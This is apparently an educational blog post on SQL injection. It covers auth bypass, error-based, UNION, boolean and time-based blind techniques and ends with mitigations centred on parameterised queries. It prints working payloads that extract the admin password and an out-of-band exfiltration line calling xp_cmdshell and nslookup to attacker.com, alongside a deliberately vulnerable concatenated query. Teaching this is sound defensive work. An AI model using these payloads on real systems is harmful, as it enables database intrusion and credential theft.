SQL injection remains one of the most impactful vulnerabilities in the OWASP Top 10, yet it's surprisingly easy to overlook during development. In this post, we'll trace the attack surface from the simplest in-band payloads all the way through blind techniques that exfiltrate data one bit at a time.
What Makes SQL Injection Work
At its core, SQLi happens when user-supplied input is concatenated directly into a query string. The database can't distinguish between the developer's intended SQL and the attacker's injected clauses.
# Vulnerable — never do this
query = "SELECT * FROM users WHERE username = '" + username + "'"
A username like admin' -- closes the string literal, appends a comment that swallows the rest of the query, and the database happily returns the admin row.
Classic In-Band Attacks
Error-based injection abuses verbose database error messages to leak schema information:
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --
MSSQL will throw a conversion error containing the table name in plain text. MySQL has similar primitives via extractvalue() and updatexml().
UNION-based injection appends a second SELECT to the original query:
' UNION SELECT username, password, NULL FROM users --
The prerequisite is knowing the number of columns and matching their data types — both trivially enumerated with ORDER BY n and NULL probing.
Blind Injection: When There's No Output
Real-world targets rarely display query results or error messages. Blind techniques extract data indirectly.
Boolean-Based
The page behaves differently depending on a true/false condition:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --
Binary-search the character space and you can reconstruct any string in O(log n × length) requests. Tools like sqlmap automate this precisely.
Time-Based
When there's zero visible difference between true and false, induce a measurable delay:
'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '0:0:5' --
A 5-second response confirms the condition. This works even through blind redirects, since you're measuring elapsed time at the network layer.
Out-of-Band Exfiltration
Some targets filter or rate-limit HTTP responses. DNS and HTTP callbacks let you exfiltrate data over a completely separate channel:
'; EXEC master..xp_cmdshell 'nslookup '+@@version+'.attacker.com' --
Monitor your DNS resolver for queries — each lookup leaks a fragment of data. Burp Collaborator and interactsh are purpose-built for this.
Mitigation
| Technique | Protection Level | |---|---| | Parameterised queries / prepared statements | ✅ Fully prevents SQLi | | Stored procedures (parameterised) | ✅ Effective | | ORM with bound parameters | ✅ Effective | | Input validation alone | ⚠️ Insufficient — bypass is common | | WAF alone | ⚠️ Defence in depth only |
The only reliable fix is parameterised queries:
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
The driver sends the query template and parameters separately — the database never interprets user input as SQL.
Summary
SQL injection is old but not dead. Even in 2025 it tops breach reports because developers mistake input filtering for true parameterisation. Test every dynamic query path, use a SAST tool in CI to flag string concatenation into queries, and treat every database interaction as a potential attack surface.

